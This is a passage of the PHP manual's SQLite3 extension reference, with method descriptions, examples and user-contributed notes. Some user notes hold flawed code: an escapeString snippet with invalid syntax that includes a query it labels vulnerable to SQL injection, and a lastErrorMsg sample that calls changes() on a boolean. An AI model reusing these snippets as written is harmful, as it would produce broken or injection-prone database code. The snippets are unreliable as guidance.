Then add the following functions to your app:

<?php
function sqlite_open($location,$mode)
{
    $handle = new SQLite3($location);
    return $handle;
}
function sqlite_query($dbhandle,$query)
{
    $array['dbhandle'] = $dbhandle;
    $array['query'] = $query;
    $result = $dbhandle->query($query);
    return $result;
}
function sqlite_fetch_array(&$result,$type)
{
    #Get Columns
    $i = 0;
    while ($result->columnName($i))
    {
        $columns[ ] = $result->columnName($i);
        $i++;
    }

    $resx = $result->fetchArray(SQLITE3_ASSOC);
    return $resx;
}
?>

They're not perfect by any stretch but they seem to be working ok as a temporary measure while I convert the site.
Hope that helps someone
Anonymous 09-Mar-2011 03:31
If you get the following error for non-encrypted databases:

Warning: SQLite3::query() [sqlite3.query]: Unable to prepare statement: 26, file is encrypted or is not a database in …

... use PDO instead of this library.
alan at chandlerfamily dot org dot uk 09-Aug-2010 01:36
PHP 5.3.3 introduced sqlite3::busyTimeout(int milliseconds) which does not currently seem to be documented.

It believe it acts like sqlite::busyTimeout - that is it tells sqlite3 to call an internal busyHandler if SQLITE_BUSY is returned from any call which waits a short period and then retries.  It continues to do this until milliseconds milliseconds have elapsed and then returns the SQLITE_BUSY status.

I don't know whether the default 60 second value is in place if this function is not called.
sqlite_valid
Introduction
Vendor Specific Database Extensions


Introduction

Support for SQLite version 3 databases.

User Contributed Notes

dzcowart at gmail dot com 05-May-2009 11:00
In Ubuntu the package php5-sqlite3 uses this method for accessing sqlite3 databases:
(from /usr/share/doc/php5-sqlite3/examples/example1.php)

<?php
/*
 * create a SQLite3 handle.
 *
 * Note: in-memory database are created by the magic keyword ":memory:"
 *
 */

$db = sqlite3_open(":memory:");
if (!$db) die ("Could not create in-memory database..");

/*
 * create a simple test and insert some values..
 */

$ret = sqlite3_exec ($db, "CREATE TABLE test (id INTEGER, name TEXT, age INTEGER);");
if (!$ret) die (sqlite3_error($db));

sqlite3_exec($db, "INSERT INTO test (id,name,age) VALUES (1,'michael',32)");
sqlite3_exec($db, "INSERT INTO test (id,name,age) VALUES (2,'bob',27)");
sqlite3_exec($db, "INSERT INTO test (id,name,age) VALUES (3,'martin',12)");

/*
 * Create a query
 */

$query = sqlite3_query($db, "SELECT * FROM test ORDER BY age DESC");
if (!$query) die (sqlite3_error($db));

/*
 * sqlite3_fetch_array() returns an associative array
 * for each row in the result set. Key indexes are
 * the columns names.
 */

while ( ($row = sqlite3_fetch_array($query)))
{
        printf("%-20s %u\n", $row['name'], $row['age']);
}

/*
 * do not forget to release all handles !
 */

sqlite3_query_close($query);
sqlite3_close ($db);
?>
pomax at nihongoresources dot com 24-Mar-2009 02:28
If you use PHP5, the currently advised approach to natively (ie, without using a third party library) interfacing with sqlite3 databases is through the use of a PDO object:

<?php
  $dbh = new PDO('sqlite:yourdatabase.db');
?>

Any execution of functions and commands supported by sqlite3 can then be called through the PDO query and exec functions. For instance, a broad select would be achieved as follows:

<?php
  foreach($dbh->query('SELECT * FROM table WHERE column = criterium') as $row)
  {
    foreach($row as $key=>$val)
    {
      // PDO has no built in fetch_assoc equivalent
      if(!is_numeric($key)) print "$key: $val\n";
    }
  }
?>

when done consulting or administrating a database that relies on PDO access, it is generally a good idea to either issue a

<?php $dbh = null; ?>

or

<?php unset($dbh); ?>

statement, as the PDO class does not come with a function for closing a connection, and so any PDO connection will sit idle until you explicitly dispose of it.
SQLite3
Installing/Configuring
SQLite3


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
SQLite3


Installation

The SQLite3 extension is enabled by default as of PHP 5.3.0. It's possible to disable it by using --without-sqlite3 at compile time.

Windows users must enable php_sqlite3.dll in order to use this extension. This DLL is included with Windows distributions of PHP as of PHP 5.3.0.

Note:

This extension was briefly a PECL extension but that version is only recommended for experimental use.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

SQLite3 Configure Options
Name | Default | Changeable | Changelog
sqlite3.extension_dir | NULL | PHP_INI_SYSTEM |

Here's a short explanation of the configuration directives.

sqlite3.extension_dir string

Path to the directory where the loadable extensions for SQLite reside.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SQLITE3_ASSOC (integer)
Specifies that the Sqlite3Result::fetchArray() method shall return an array indexed by column name as returned in the corresponding result set.
SQLITE3_NUM (integer)
Specifies that the Sqlite3Result::fetchArray() method shall return an array indexed by column number as returned in the corresponding result set, starting at column 0.
SQLITE3_BOTH (integer)
Specifies that the Sqlite3Result::fetchArray() method shall return an array indexed by both column name and number as returned in the corresponding result set, starting at column 0.
SQLITE3_INTEGER (integer)
Represents the SQLite3 INTEGER storage class.
SQLITE3_FLOAT (integer)
Represents the SQLite3 REAL (FLOAT) storage class.
SQLITE3_TEXT (integer)
Represents the SQLite3 TEXT storage class.
SQLITE3_BLOB (integer)
Represents the SQLite3 BLOB storage class.
SQLITE3_NULL (integer)
Represents the SQLite3 NULL storage class.
SQLITE3_OPEN_READONLY (integer)
Specifies that the SQLite3 database be opened for reading only.
SQLITE3_OPEN_READWRITE (integer)
Specifies that the SQLite3 database be opened for reading and writing.
SQLITE3_OPEN_CREATE (integer)
Specifies that the SQLite3 database be created if it does not already exist.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
SQLite3
SQLite3


The SQLite3 class

(No version information available, might only be in SVN)

Introduction

A class that interfaces SQLite 3 databases.

Class synopsis

SQLite3 {
/* Methods */
public bool busyTimeout ( int $msecs )
public int changes ( void )
public bool close ( void )
public __construct ( string $filename [, int $flags [, string $encryption_key ]] )
public bool createAggregate ( string $name , mixed $step_callback , mixed $final_callback [, int $argument_count = -1 ] )
public bool createFunction ( string $name , mixed $callback [, int $argument_count = -1 ] )
public string escapeString ( string $value )
public bool exec ( string $query )
public int lastErrorCode ( void )
public string lastErrorMsg ( void )
public int lastInsertRowID ( void )
public bool loadExtension ( string $shared_library )
public void open ( string $filename [, int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE [, string $encryption_key ]] )
public SQLite3Stmt prepare ( string $query )
public SQLite3Result query ( string $query )
public mixed querySingle ( string $query [, bool $entire_row = false ] )
public array version ( void )
}

Table of Contents

  • SQLite3::busyTimeout — Sets the busy connection handler
  • SQLite3::changes — Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement
  • SQLite3::close — Closes the database connection
  • SQLite3::__construct — Instantiates an SQLite3 object and opens an SQLite 3 database
  • SQLite3::createAggregate — Registers a PHP function for use as an SQL aggregate function
  • SQLite3::createFunction — Registers a PHP function for use as an SQL scalar function
  • SQLite3::escapeString — Returns a string that has been properly escaped
  • SQLite3::exec — Executes a result-less query against a given database
  • SQLite3::lastErrorCode — Returns the numeric result code of the most recent failed SQLite request
  • SQLite3::lastErrorMsg — Returns English text describing the most recent failed SQLite request
  • SQLite3::lastInsertRowID — Returns the row ID of the most recent INSERT into the database
  • SQLite3::loadExtension — Attempts to load an SQLite extension library
  • SQLite3::open — Opens an SQLite database
  • SQLite3::prepare — Prepares an SQL statement for execution
  • SQLite3::query — Executes an SQL query
  • SQLite3::querySingle — Executes a query and returns a single result
  • SQLite3::version — Returns the SQLite3 library version as a string constant and as a number

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
SQLite3::busyTimeout
SQLite3


Sets the busy connection handler

SQLite3
SQLite3::changes
SQLite3
PHP Manual

SQLite3::busyTimeout

(PHP 5 >= 5.3.3)

SQLite3::busyTimeout — Sets the busy connection handler

Description

public bool SQLite3::busyTimeout ( int $msecs )

Sets a busy handler that will sleep until the database is not locked or the timeout is reached.

Parameters

msecs

The milliseconds to sleep. Setting this value to a value less than or equal to zero, will turn off an already set timeout handler.

Return Values

Returns TRUE on success, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SQLite3
SQLite3::changes
SQLite3


Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement

SQLite3::busyTimeout
SQLite3::close
SQLite3
PHP Manual

SQLite3::changes

(PHP 5 >= 5.3.0)

SQLite3::changes — Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement

Description

public int SQLite3::changes ( void )

Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement.

Parameters

This function has no parameters.

Return Values

Returns an integer value corresponding to the number of database rows changed (or inserted or deleted) by the most recent SQL statement.

Examples

Example #1 SQLite3::changes() example

<?php
$db = new SQLite3('mysqlitedb.db');

$query = $db->exec('UPDATE counter SET views=0 WHERE page="test"');
if ($query) {
    echo 'Number of rows modified: ', $db->changes();
}
?>

User Contributed Notes

krebs dot seb at googlemail dot com 10-Nov-2011 01:25
It seems, that this method doesn't report the affected rows properly, when using with savepoints or a transaction.
SQLite3::busyTimeout
SQLite3::close
SQLite3


Closes the database connection

SQLite3::changes
SQLite3::__construct
SQLite3
PHP Manual

SQLite3::close

(PHP 5 >= 5.3.0)

SQLite3::close — Closes the database connection

Description

public bool SQLite3::close ( void )

Closes the database connection.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success, FALSE on failure.

Examples

Example #1 SQLite3::close() example

<?php
$db = new SQLite3('mysqlitedb.db');
$db->close();
?>

User Contributed Notes

There are no user contributed notes for this page.
SQLite3::changes
SQLite3::__construct
SQLite3


Instantiates an SQLite3 object and opens an SQLite 3 database

SQLite3::close
SQLite3::createAggregate
SQLite3
PHP Manual

SQLite3::__construct

(PHP 5 >= 5.3.0)

SQLite3::__construct — Instantiates an SQLite3 object and opens an SQLite 3 database

Description

public SQLite3::__construct ( string $filename [, int $flags [, string $encryption_key ]] )

Instantiates an SQLite3 object and opens a connection to an SQLite 3 database. If the build includes encryption, then it will attempt to use the key.

Parameters

filename

Path to the SQLite database, or :memory: to use in-memory database.

flags

Optional flags used to determine how to open the SQLite database. By default, open uses SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE.

  • SQLITE3_OPEN_READONLY: Open the database for reading only.

  • SQLITE3_OPEN_READWRITE: Open the database for reading and writing.

  • SQLITE3_OPEN_CREATE: Create the database if it does not exist.

encryption_key

An optional encryption key used when encrypting and decrypting an SQLite database.

Return Values

Returns an SQLite3 object on success.

Examples

Example #1 SQLite3::__construct() example

<?php
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE foo (bar STRING)');
$db->exec("INSERT INTO foo (bar) VALUES ('This is a test')");

$result = $db->query('SELECT bar FROM foo');
var_dump($result->fetchArray());
?>

User Contributed Notes

bohwaz 16-May-2011 10:59
$encryption_key and all encryption features will be enabled only if the SQLite encryption module is installed. It's a proprietary, costly module. So if it's not present, supplying an encryption key will have absolutely no effect.
SQLite3::close
SQLite3::createAggregate
SQLite3


Registers a PHP function for use as an SQL aggregate function

SQLite3::__construct
SQLite3::createFunction
SQLite3
PHP Manual

SQLite3::createAggregate

(PHP 5 >= 5.3.0)

SQLite3::createAggregate — Registers a PHP function for use as an SQL aggregate function

Description

public bool SQLite3::createAggregate ( string $name , mixed $step_callback , mixed $final_callback [, int $argument_count = -1 ] )

Registers a PHP function or user-defined function for use as an SQL aggregate function for use within SQL statements.

Parameters

name

Name of the SQL aggregate to be created or redefined.

step_callback

The name of a PHP function or user-defined function to apply as a callback for every item in the aggregate.

final_callback

The name of a PHP function or user-defined function to apply as a callback at the end of the aggregate data.

argument_count

The number of arguments that the SQL aggregate takes. If this parameter is negative, then the SQL aggregate may take any number of arguments.

Return Values

Returns TRUE upon successful creation of the aggregate, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SQLite3::__construct
SQLite3::createFunction
SQLite3


Registers a PHP function for use as an SQL scalar function

SQLite3::createAggregate
SQLite3::escapeString
SQLite3
PHP Manual

SQLite3::createFunction

(PHP 5 >= 5.3.0)

SQLite3::createFunction — Registers a PHP function for use as an SQL scalar function

Description

public bool SQLite3::createFunction ( string $name , mixed $callback [, int $argument_count = -1 ] )

Registers a PHP function or user-defined function for use as an SQL scalar function for use within SQL statements.

Parameters

name

Name of the SQL function to be created or redefined.

callback

The name of a PHP function or user-defined function to apply as a callback, defining the behavior of the SQL function.

argument_count

The number of arguments that the SQL function takes. If this parameter is negative, then the SQL function may take any number of arguments.

Return Values

Returns TRUE upon successful creation of the function, FALSE on failure.

Examples

Example #1 SQLite3::createFunction() example

<?php
function my_udf_md5($string) {
    return md5($string);
}

$db = new SQLite3('mysqlitedb.db');
$db->createFunction('my_udf_md5', 'my_udf_md5');

var_dump($db->querySingle('SELECT my_udf_md5("test")'));
?>

The above example will output something similar to:

string(32) "098f6bcd4621d373cade4e832627b4f6"

User Contributed Notes

koalay at gmail dot com 26-May-2010 07:43
Since regular expression is not supported by default SQLite, we can create a user function to do the job.

<?php

$db = new SQLite3("database.sqlit3", 0666);

// create a function named "preg_match"
// with the php core function "preg_match"
if ($db->createFunction("preg_match", "preg_match", 2) === FALSE)
  exit("Failed creating function\n");

// this query will then works as expected
$result = $db->query("SELECT * FROM table1 WHERE
  preg_match('/^(apple|orange)$/', variable1)");

?>
SQLite3::createAggregate
SQLite3::escapeString
SQLite3


Returns a string that has been properly escaped

SQLite3::createFunction
SQLite3::exec
SQLite3
PHP Manual

SQLite3::escapeString

(PHP 5 >= 5.3.0)

SQLite3::escapeString — Returns a string that has been properly escaped

Description

public string SQLite3::escapeString ( string $value )

Returns a string that has been properly escaped for safe inclusion in an SQL statement.

Parameters

value

The string to be escaped.

Return Values

Returns a properly escaped string that may be used safely in an SQL statement.

Notes

Warning

addslashes() should NOT be used to quote your strings for SQLite queries; it will lead to strange results when retrieving your data.

User Contributed Notes

rebles at myupb dot com 16-Jan-2011 10:24
SQLite3::escapeString() should be used on every piece of user input before constructing the query string, or *after* constructing the query string?

Calling this function on user input BEFORE constructing the query string can lead to interesting results.  For instance, it truncates e-mail addresses in an un-usable manor.
alec at alecnewman dot com 09-Aug-2010 02:14
The reason this function doesn't escape double quotes is because double quotes are used with names (the equivalent of backticks in MySQL), as in table or column names, while single quotes are used for values.

This is important to remember, especially coming from another SQL implementation.  It can cause strange problems, for example, the query:

SELECT * FROM table WHERE column1="column1"

Would actually return every record, because column1 is always equal to column1.  This should instead be:

SELECT * FROM table WHERE column1='column1'

Double quotes are not escaped by the function because they are not interpreted specially within single quoted strings.
koalay at gmail dot com 24-May-2010 08:28
I seems that the function only escapes single quote ' and left double quote " untouched.

<?php

$database_filename = "database.db";
$dbhandle = new SQLite3($database_filename, $mode=0666, $sqliteerror);
$escape_result = $dbhandle->escapeString("testing's is \"fun\".");
print "$escape_result\n";

?>

The result would be:

  testing''s is "fun".

So, please use single quote to quote text in sqlite query.

<?php

// this should be OK
$sql = sprintf("INSERT INTO table1 (somestr1, somestr2) VALUES ('%s', '%s')",
  $dbhandle->($somestr1), $dbhandle->($somestr1));
$dbhandle->query($sql);

// this would be vulnerable to injection
$sql = sprintf('INSERT INTO table1 (somestr1, somestr2) VALUES ("%s", "%s")',
  $dbhandle->($somestr1), $dbhandle->($somestr1));
$dbhandle->query($sql);

?>
SQLite3::createFunction
SQLite3::exec
SQLite3


Executes a result-less query against a given database

SQLite3::escapeString
SQLite3::lastErrorCode
SQLite3
PHP Manual

SQLite3::exec

(PHP 5 >= 5.3.0)

SQLite3::exec — Executes a result-less query against a given database

Description

public bool SQLite3::exec ( string $query )

Executes a result-less query against a given database.

Parameters

query

The SQL query to execute (typically an INSERT, UPDATE, or DELETE query).

Return Values

Returns TRUE if the query succeeded, FALSE on failure.

Examples

Example #1 SQLite3::exec() example

<?php
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE bar (bar STRING)');
?>

User Contributed Notes

moodsey211 at gmail dot com 16-Dec-2010 03:29
If you get the error message saying "SQLite3::exec. database locked." You just need to define a busyTimeout to work around this.
SQLite3::escapeString
SQLite3::lastErrorCode
SQLite3


Returns the numeric result code of the most recent failed SQLite request

SQLite3::exec
SQLite3::lastErrorMsg
SQLite3
PHP Manual

SQLite3::lastErrorCode

(PHP 5 >= 5.3.0)

SQLite3::lastErrorCode — Returns the numeric result code of the most recent failed SQLite request

Description

public int SQLite3::lastErrorCode ( void )

Returns the numeric result code of the most recent failed SQLite request.

Parameters

This function has no parameters.

Return Values

Returns an integer value representing the numeric result code of the most recent failed SQLite request.

User Contributed Notes

There are no user contributed notes for this page.
SQLite3::exec
SQLite3::lastErrorMsg
SQLite3


Returns English text describing the most recent failed SQLite request

SQLite3::lastErrorCode
SQLite3::lastInsertRowID
SQLite3
PHP Manual

SQLite3::lastErrorMsg

(PHP 5 >= 5.3.0)

SQLite3::lastErrorMsg — Returns English text describing the most recent failed SQLite request

Description

public string SQLite3::lastErrorMsg ( void )

Returns English text describing the most recent failed SQLite request.

Parameters

This function has no parameters.

Return Values

Returns an English string describing the most recent failed SQLite request.

User Contributed Notes

ivan at ich dot pro dot br 02-Sep-2009 09:46
A little sample...

function execsql($asql) {
    $db = new SQLite3('jsonrpc.db3');
    $query = $db->exec($asql);
    if (!$query) {
        throw new Exception( $db->lastErrorMsg() );
    } else {
        return $query->changes();
    }

}
SQLite3::lastErrorCode
SQLite3::lastInsertRowID
SQLite3


Returns the row ID of the most recent INSERT into the database

SQLite3::lastErrorMsg
SQLite3::loadExtension
SQLite3
PHP Manual

SQLite3::lastInsertRowID

(PHP 5 >= 5.3.0)

SQLite3::lastInsertRowID — Returns the row ID of the most recent INSERT into the database

Description

public int SQLite3::lastInsertRowID ( void )

Returns the row ID of the most recent INSERT into the database.

Parameters

This function has no parameters.

Return Values

Returns the row ID of the most recent INSERT into the database

User Contributed Notes

There are no user contributed notes for this page.
SQLite3::lastErrorMsg
SQLite3::loadExtension
SQLite3


Attempts to load an SQLite extension library

SQLite3::lastInsertRowID
SQLite3::open
SQLite3
PHP Manual

SQLite3::loadExtension

(PHP 5 >= 5.3.0)

SQLite3::loadExtension — Attempts to load an SQLite extension library

Description

public bool SQLite3::loadExtension ( string $shared_library )

Attempts to load an SQLite extension library.

Parameters

shared_library

The name of the library to load. The library must be located in the directory specified in the configure option sqlite3.extension_dir.

Return Values

Returns TRUE if the extension is successfully loaded, FALSE on failure.

Examples

Example #1 SQLite3::loadExtension() example

<?php
$db = new SQLite3('mysqlitedb.db');
$db->loadExtension('libagg.so');
?>

User Contributed Notes

There are no user contributed notes for this page.
SQLite3::lastInsertRowID
SQLite3::open
SQLite3


Opens an SQLite database

SQLite3::loadExtension
SQLite3::prepare
SQLite3
PHP Manual

SQLite3::open

(PHP 5 >= 5.3.0)

SQLite3::open — Opens an SQLite database

Description

public void SQLite3::open ( string $filename [, int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE [, string $encryption_key ]] )

Opens an SQLite 3 Database. If the build includes encryption, then it will attempt to use the key.

Parameters

filename

Path to the SQLite database, or :memory: to use in-memory database.

flags

Optional flags used to determine how to open the SQLite database. By default, open uses SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE.

  • SQLITE3_OPEN_READONLY: Open the database for reading only.

  • SQLITE3_OPEN_READWRITE: Open the database for reading and writing.

  • SQLITE3_OPEN_CREATE: Create the database if it does not exist.

encryption_key

An optional encryption key used when encrypting and decrypting an SQLite database.

Return Values

No value is returned.

Examples

Example #1 SQLite3::open() example

<?php
/**
 * Simple example of extending the SQLite3 class and changing the __construct
 * parameters, then using the open method to initialize the DB.
 */
class MyDB extends SQLite3
{
    function __construct()
    {
        $this->open('mysqlitedb.db');
    }
}

$db = new MyDB();

$db->exec('CREATE TABLE foo (bar STRING)');
$db->exec("INSERT INTO foo (bar) VALUES ('This is a test')");

$result = $db->query('SELECT bar FROM foo');
var_dump($result->fetchArray());
?>

User Contributed Notes

jjchailloux at yahoo dot com 06-Jul-2010 07:09
PHP Fatal error:  Class 'SQLite3' not found ...

you are probably running an old version of PHP

PHP 5.2 does not know about SQLite3; only SQLite (v2)

install PHP 5.3
http://www.macupdate.com/info.php/id/7294/php on Mac OS
cr at caltel dot com 05-May-2010 02:49
If you are getting:
  PHP Fatal error:  Class 'SQLite3' not found ...

Try:
  $db = new PDO('sqlite:mysqlitedb.db');

I assume there must be a "better" way, but I don't know it.
kbrobst at surveyresearchpartners dot com 07-Mar-2010 12:54
If you are trying to use the open() method to open multiple database files within the same SQLite3 object (which I could not get to work), here is an alternative way to do so using special SQLite3 syntax additions to the SQL language.  This took some investigation on my part, so hopefully the solution I found will help you too.

These are the nice features within SQLite3 that are leveraged:
* The create statement query for a table is stored within a table called "sqlite_master" within the parent database file.
* SQLite3 supports the "insert into...select * from" SQL syntax for doing bulkload-speed inserts into a table - but what if the source and target tables are in separate database files?
* SQLite3 has an "attach [filename] as [reference database name]" which will allow multiple database files to be opened and accessible to the same SQLite3 object.

Assume you have a table called "my_template" in the SQLite3 database file "source.db".  You want to make a copy of this table into the database file "target.db" and call the table "working_table".

<?php
//attach the source database file to the bulkload connection object;
$bulkload_connection = new SQLite3("c:/sqlite3_database_files/source.db");

//retrieve the create statement query for the source table;
$sourcetbl_create_statement = $bulkload_connection->querySingle("select sql from sqlite_master where type='table' and name='my_template'");
if ($sourcetbl_create_statement===false) exit($bulkload_connection->lastErrorMsg());

//build the create statement query for the target table;
$targettbl_create_statement = str_replace('CREATE TABLE my_template', 'CREATE TABLE bulkload.working_table', $sourcetbl_create_statement);

//attach the target database file to the bulkload connection object - and reference it as the database called [bulkload];
$result=$bulkload_connection->exec("attach 'c:/sqlite3_database_files/target.db' as bulkload");
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//issue the query to create the target table within the target database file;
$result=$bulkload_connection->exec($targettbl_create_statement);
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//copy the rows from the source table to the target table as quickly as possible;
$result=$bulkload_connection->exec("insert into bulkload.working_table select * from my_template");
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//release the OS file locks on the attached database files;
$bulkload_connection->close();
unset($bulkload_connection);
?>
SQLite3::loadExtension
SQLite3::prepare
SQLite3


Prepares an SQL statement for execution

SQLite3::open
SQLite3::query
SQLite3
PHP Manual

SQLite3::prepare

(PHP 5 >= 5.3.0)

SQLite3::prepare — Prepares an SQL statement for execution

Description

public SQLite3Stmt SQLite3::prepare ( string $query )

Prepares an SQL statement for execution and returns an SQLite3Stmt object.

Parameters

query

The SQL query to prepare.

Return Values

Returns an SQLite3Stmt object on success or FALSE on failure.

Examples

Example #1 SQLite3::prepare() example

<?php
unlink('mysqlitedb.db');
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db->exec("INSERT INTO foo (id, bar) VALUES (1, 'This is a test')");

$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
$stmt->bindValue(':id', 1, SQLITE3_INTEGER);

$result = $stmt->execute();
var_dump($result->fetchArray());
?>

User Contributed Notes

pavel dot lisa at centrum dot cz 12-Oct-2010 02:20
SQLite3::prepare() will fail, if you pass in a WHERE clause (in the $query) referring to a non-existent column.
SQLite3::open
SQLite3::query
SQLite3


Executes an SQL query

SQLite3::prepare
SQLite3::querySingle
SQLite3
PHP Manual

SQLite3::query

(PHP 5 >= 5.3.0)

SQLite3::query — Executes an SQL query

Description

public SQLite3Result SQLite3::query ( string $query )

Executes an SQL query, returning an SQLite3Result object if the query returns results.

Parameters

query

The SQL query to execute.

Return Values

Returns an SQLite3Result object if the query returns results. Otherwise, returns TRUE if the query succeeded, FALSE on failure.

Examples

Example #1 SQLite3::query() example

<?php
$db = new SQLite3('mysqlitedb.db');

$results = $db->query('SELECT bar FROM foo');
while ($row = $results->fetchArray()) {
    var_dump($row);
}
?>

User Contributed Notes

pgarvin76 at gmail dot com 12-Jan-2011 07:31
The notes for the return value is a little misleading to me. It states that if the query does not "return results" TRUE or FALSE is returned instead. If there is a return value for this method in your PHP code this method always returns an SQLite3Result object, even if you accidentally run an INSERT, UPDATE, DELETE, CREATE TABLE, etc query through it. The only time it returns a TRUE or FALSE is if there is no return value.

<?php
$result = $dbh->query('CREATE TABLE ...');
if (!($result instanceof Sqlite3Result)) {
    echo "Query successful."; // This will never echo.
} else {
    $result->fetchArray(); // This will throw an error.
}

if ($dbh->query('CREATE TABLE ...')) {
    echo "Query successful."; // Works
} else {
    echo "Query failed."; // Will also work
}
?>
Use exec() if you are not executing a SELECT query.
SQLite3::prepare
SQLite3::querySingle
SQLite3


Executes a query and returns a single result

SQLite3::query
SQLite3::version
SQLite3
PHP Manual

SQLite3::querySingle

(PHP 5 >= 5.3.0)

SQLite3::querySingle — Executes a query and returns a single result

Description

public mixed SQLite3::querySingle ( string $query [, bool $entire_row = false ] )

Executes a query and returns a single result.

Parameters

query

The SQL query to execute.

entire_row

By default, querySingle() returns the value of the first column returned by the query. If entire_row is TRUE, then it returns an array of the entire first row.

Return Values

Returns the value of the first column of results or an array of the entire first row (if entire_row is TRUE).

If the query is valid but no results are returned, then NULL will be returned if entire_row is FALSE, otherwise an empty array is returned.

Invalid or failing queries will return FALSE.

Examples

Example #1 SQLite3::querySingle() example

<?php
$db = new SQLite3('mysqlitedb.db');

var_dump($db->querySingle('SELECT username FROM user WHERE userid=1'));
print_r($db->querySingle('SELECT username, email FROM user WHERE userid=1', true));
?>

The above example will output something similar to:

string(5) "Scott"
Array
(
    [username] => Scott
    [email] => scott@example.com
)

User Contributed Notes

There are no user contributed notes for this page.
SQLite3::query
SQLite3::version
SQLite3


Returns the SQLite3 library version as a string constant and as a number

SQLite3::querySingle
SQLite3Stmt
SQLite3
PHP Manual

SQLite3::version

(PHP 5 >= 5.3.0)

SQLite3::version — Returns the SQLite3 library version as a string constant and as a number

Description

public array SQLite3::version ( void )

Returns the SQLite3 library version as a string constant and as a number.

Parameters

This function has no parameters.

Return Values

Returns an associative array with the keys "versionString" and "versionNumber".

Examples

Example #1 SQLite3::version() example

<?php
print_r(SQLite3::version());
?>

The above example will output something similar to:

Array
(
    [versionString] => 3.5.9
    [versionNumber] => 3005009
)

User Contributed Notes

There are no user contributed notes for this page.
SQLite3::querySingle
SQLite3Stmt
SQLite3


The SQLite3Stmt class

(No version information available, might only be in SVN)

Introduction

A class that handles prepared statements for the SQLite 3 extension.

Class synopsis

SQLite3Stmt {
/* Methods */
public bool bindParam ( string $sql_param , mixed &$param [, int $type ] )
public bool bindValue ( string $sql_param , mixed $value [, int $type ] )
public bool clear ( void )
public bool close ( void )
public SQLite3Result execute ( void )
public int paramCount ( void )
public bool reset ( void )
}

Table of Contents

  • SQLite3Stmt::bindParam — Binds a parameter to a statement variable
  • SQLite3Stmt::bindValue — Binds the value of a parameter to a statement variable
  • SQLite3Stmt::clear — Clears all current bound parameters
  • SQLite3Stmt::close — Closes the prepared statement
  • SQLite3Stmt::execute — Executes a prepared statement and returns a result set object
  • SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement
  • SQLite3Stmt::reset — Resets the prepared statement

User Contributed Notes

There are no user contributed notes for this page.
SQLite3::version
SQLite3Stmt::bindParam
SQLite3


Binds a parameter to a statement variable

SQLite3Stmt
SQLite3Stmt::bindValue
SQLite3Stmt
PHP Manual

SQLite3Stmt::bindParam

(PHP 5 >= 5.3.0)

SQLite3Stmt::bindParam — Binds a parameter to a statement variable

Description

public bool SQLite3Stmt::bindParam ( string $sql_param , mixed &$param [, int $type ] )

Binds a parameter to a statement variable.

Parameters

sql_param

An string identifying the statement variable to which the parameter should be bound.

param

The parameter to bind to a statement variable.

type

The data type of the parameter to bind.

  • SQLITE3_INTEGER: The value is a signed integer, stored in 1, 2, 3, 4, 6, or 8 bytes depending on the magnitude of the value.

  • SQLITE3_FLOAT: The value is a floating point value, stored as an 8-byte IEEE floating point number.

  • SQLITE3_TEXT: The value is a text string, stored using the database encoding (UTF-8, UTF-16BE or UTF-16-LE).

  • SQLITE3_BLOB: The value is a blob of data, stored exactly as it was input.

  • SQLITE3_NULL: The value is a NULL value.

Return Values

Returns TRUE if the parameter is bound to the statement variable, FALSE on failure.

User Contributed Notes

Anonymous 28-Jun-2011 03:51
Note:

$stmt->bindParam(1, 'lol', SQLITE3_TEXT);

That would trigger a fatal error as you cannot pass argument 2 by reference as it is a value.
SQLite3Stmt
SQLite3Stmt::bindValue
SQLite3Stmt


Binds the value of a parameter to a statement variable

SQLite3Stmt::bindParam
SQLite3Stmt::clear
SQLite3Stmt
PHP Manual

SQLite3Stmt::bindValue

(PHP 5 >= 5.3.0)

SQLite3Stmt::bindValue — Binds the value of a parameter to a statement variable

Description

public bool SQLite3Stmt::bindValue ( string $sql_param , mixed $value [, int $type ] )

Binds the value of a parameter to a statement variable.

Parameters

sql_param

An string identifying the statement variable to which the value should be bound.

value

The value to bind to a statement variable.

type

The data type of the value to bind.

  • SQLITE3_INTEGER: The value is a signed integer, stored in 1, 2, 3, 4, 6, or 8 bytes depending on the magnitude of the value.

  • SQLITE3_FLOAT: The value is a floating point value, stored as an 8-byte IEEE floating point number.

  • SQLITE3_TEXT: The value is a text string, stored using the database encoding (UTF-8, UTF-16BE or UTF-16-LE).

  • SQLITE3_BLOB: The value is a blob of data, stored exactly as it was input.

  • SQLITE3_NULL: The value is a NULL value.

Return Values

Returns TRUE if the value is bound to the statement variable, FALSE on failure.

Examples

Example #1 SQLite3Stmt::bindValue() example

<?php
unlink('mysqlitedb.db');
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db->exec("INSERT INTO foo (id, bar) VALUES (1, 'This is a test')");

$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
$stmt->bindValue(':id', 1, SQLITE3_INTEGER);

$result = $stmt->execute();
var_dump($result->fetchArray());
?>

User Contributed Notes

